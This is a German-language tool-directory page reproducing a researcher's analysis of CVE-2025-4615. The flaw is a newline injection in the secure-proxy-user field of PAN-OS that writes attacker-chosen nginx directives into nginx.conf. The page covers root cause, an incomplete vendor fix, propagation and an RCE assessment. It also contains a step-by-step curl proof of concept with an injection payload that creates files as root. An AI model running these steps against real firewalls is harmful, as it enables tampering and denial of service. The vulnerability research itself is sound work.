Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-4615 — cve-2025-4615 poc & deep dive | Kitploit
Tools/GitHubGitHub/sh00bx/cve-2025-4615
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationConfiguration AuditingPenetration Testing
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 poc & deep dive

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-4615 — Technische Analyse & Proof of Concept

Vulnerability: Unsachgemäße Neutralisierung von Eingaben in der PAN-OS-Verwaltungs-Webschnittstelle
Vendor Advisory: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MITTEL) — Integrität HOCH, Verfügbarkeit HOCH
CWE: CWE-83 (Unsachgemäße Neutralisierung von Skripten in Attributen einer Webseite)
CAPEC: CAPEC-165 (Dateimanipulation)
Quelle: Visa Inc.
Datum der Analyse: 2026-03-26


1. Zusammenfassung

CVE-2025-4615 ist eine Newline-Injection-Schwachstelle im Konfigurationsfeld secure-proxy-user von Palo Alto Networks PAN-OS. Ein authentifizierter Administrator kann über die XML-API oder die Weboberfläche Newline-Zeichen (\n) in den Proxy-Benutzernamen injizieren. Bei einem Commit wird dieser Wert unbereinigt in /etc/nginx/nginx.conf geschrieben, wodurch eine Kommentarzeile verlassen und beliebige nginx-Direktiven injiziert werden.

Auswirkungen:

  • Beliebige Dateierstellung/-beschreibung als root über injizierte access_log-Direktive
  • Denial-of-Service (DoS) — ungültige Direktiven verhindern den Neustart von nginx und deaktivieren die Verwaltungsschnittstelle
  • Konfigurationsbeschädigung in mehreren Systemkonfigurationsdateien

Hinweis: Die Korrektur des Herstellers (Entfernen von Newline-Zeichen) ist unvollständig — dasselbe Feld bleibt anfällig für gespeichertes Cross-Site Scripting (XSS), da keine Ausgabekodierung oder Zeichen-Whitelist angewendet wird.


2. Ursachenanalyse

2.1 Der Injektionspunkt

Das Feld secure-proxy-user ist im PAN-OS-Schema (schema.xml) als einfacher String ohne Eingabebereinigung definiert:

root@kitploit:~
<element name="secure-proxy-user" optional="yes" type="string"
         help-string="Secure Proxy user name to use"/>

Hinweis: secure-proxy-server hat eine Regex-Einschränkung (regex="^([0-9a-zA-Z.:/_-])+$"), aber secure-proxy-user hat keine. Es gibt eine Längenbegrenzung von 31 Zeichen, aber keine Zeichenbeschränkungen.

2.2 Der anfällige Konfigurationsschreiber

Während eines Commits generiert PAN-OS /etc/nginx/nginx.conf aus einer Vorlage (/etc/nginx/nginx.conf.tmpl) neu. Die Vorlage enthält:

root@kitploit:~
#pan_proxy_comment %s

Der Platzhalter %s wird durch die Bibliotheksfunktion libpanmp_mp.so gefüllt, die Proxy-Server, Benutzername und verschlüsseltes Passwort zu einem einzigen String verkettet. In der anfälligen Version werden Newline-Zeichen im Benutzernamen unverändert übernommen.

2.3 Die resultierende Beschädigung der nginx.conf

Wenn secure-proxy-user a\naccess_log /tmp/pwn3;\n# enthält, wird die generierte nginx.conf zu:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 a        — Kommentar (harmlos)
access_log /tmp/pwn3;                  — INJIZIERTE DIREKTIVE (von nginx ausgeführt!)
# -AQ==encrypted_password==            — Passwort durch injiziertes # auskommentiert

Zeile 1 ist ein Kommentar. Zeile 2 ist eine gültige nginx-Direktive auf der http-Ebene. Zeile 3 wird durch das #-Zeichen des Angreifers neutralisiert.

2.4 Warum dies gefährlich ist

Der nginx-Masterprozess läuft als root. Die access_log-Direktive veranlasst nginx, die Zieldatei als root zu öffnen/erstellen. Dies ermöglicht:

  1. Beliebige Dateierstellung an beliebiger Stelle im Dateisystem
  2. Beliebiges Dateischreiben (HTTP-Zugriffsprotokollinhalt wird angehängt)
  3. DoS, wenn eine ungültige Direktive injiziert wird (nginx verweigert das Neuladen)

3. Die Korrektur (und ihre Einschränkungen)

In der behobenen Version (11.1.13) entfernt der Konfigurationsschreiber Newline-Zeichen aus dem Proxy-Benutzernamen, bevor er in die nginx.conf geschrieben wird. Derselbe bösartige Wert erzeugt:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==

Alles bleibt in einer Zeile, sicher innerhalb des #-Kommentars.

Diese Korrektur ist jedoch unvollständig. Sie behebt nur die Newline-Injection. Das Feld secure-proxy-user akzeptiert weiterhin beliebige Zeichen (einschließlich ", <, >) ohne Ausgabekodierung, sodass der gespeicherte XSS-Vektor weit offen bleibt. Siehe unit-43-xss.


4. Proof of Concept

Voraussetzungen

  • Authentifizierter Administratorzugriff auf die PAN-OS-Verwaltung (API oder Weboberfläche)
  • Ein konfigurierter secure-proxy-server (erforderlich, damit der Proxy-Kommentar erscheint)

Schritt 1: API-Schlüssel abrufen

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"

Schritt 2: Proxy-Server konfigurieren (falls nicht gesetzt)

root@kitploit:~
curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"

Schritt 3: Bösartigen Proxy-Benutzernamen injizieren

root@kitploit:~
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Gesamt: 26 Zeichen (innerhalb des 31-Zeichen-Limits)
# Injiziert: access_log /tmp/pwn3; — erstellt /tmp/pwn3 als root

curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'

Schritt 4: Konfiguration committen

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"

Schritt 5: Überprüfen

Nach Abschluss des Commits (~30s):

  • /tmp/pwn3 wird mit root-Besitzer erstellt
  • nginx -t -c /etc/nginx/nginx.conf meldet: syntax is ok
  • nginx wird erfolgreich mit der injizierten Direktive neu geladen

5. Ausbreitungsanalyse

Der unbereinigte Wert secure-proxy-user verbreitet sich auf mehrere Dateien:

Die Schreiber von curlrc (/root/.curlrc) und wgetrc (/root/.wgetrc) entfernen Newlines, selbst in der anfälligen Version. Der nginx.conf-Schreiber war der einzige Pfad, der nicht bereinigte.


6. RCE-Bewertung

Umfangreiche Tests von 11 Angriffsvektoren bestätigten, dass alleinstehende OS-Level-RCE aus CVE-2025-4615 auf PAN-OS 11.1.6-h7 mit nginx 1.20.1 nicht erreichbar ist. Die drei kritischen Hindernisse:

  1. nginx \x0A-Escape — verhindert rohe Newline-Injection in Logdateien, blockiert Cron-Injection trotz der Toleranz von vixie-cron gegenüber Müllzeilen (laborbestätigt: Cron führt gültige Zeilen aus, die von Müll umgeben sind)
  2. 31-Zeichen-Limit — verhindert die Kombination von log_format + access_log, um Inhaltskontrolle über geschriebene Dateien zu erlangen
  3. Newline-Entfernung in curlrc/wgetrc — beseitigt den sekundären Dateischreibkanal

Die „Ausführung beliebiger Befehle“ in der Advisory bezieht sich höchstwahrscheinlich auf beliebige nginx-Direktiven, nicht auf OS-Level-Befehlsausführung. Dies steht im Einklang mit dem CVSS VC:N (keine Auswirkungen auf die Vertraulichkeit) und der Art der Korrektur.

Wenn eines der drei Hindernisse fehlen würde, wäre RCE trivial über Cron-Injection erreichbar.


Analyse durchgeführt in isolierter Laborumgebung mit PAN-OS 11.1.6-h7 (anfällig) und PAN-OS 11.1.13 (behoben).

Tool herunterladen
DateiAuswirkung
/etc/nginx/nginx.confKritisch — Injektion von nginx-Direktiven
/opt/pancfg/tmp/.tdb_conf.xmlTemplate-DB-Konfiguration (XML-Injection)
/opt/pancfg/mgmt/audit/cfg-audit.xml,vPrüfpfad-Beschädigung
/opt/pancfg/mgmt/replaydb/replay.dbWiedergabedatenbank-Beschädigung
XSL-generierte Daemon-Konfigurationen (authd, cord, useridd usw.)XML-Wert mit Newlines erhalten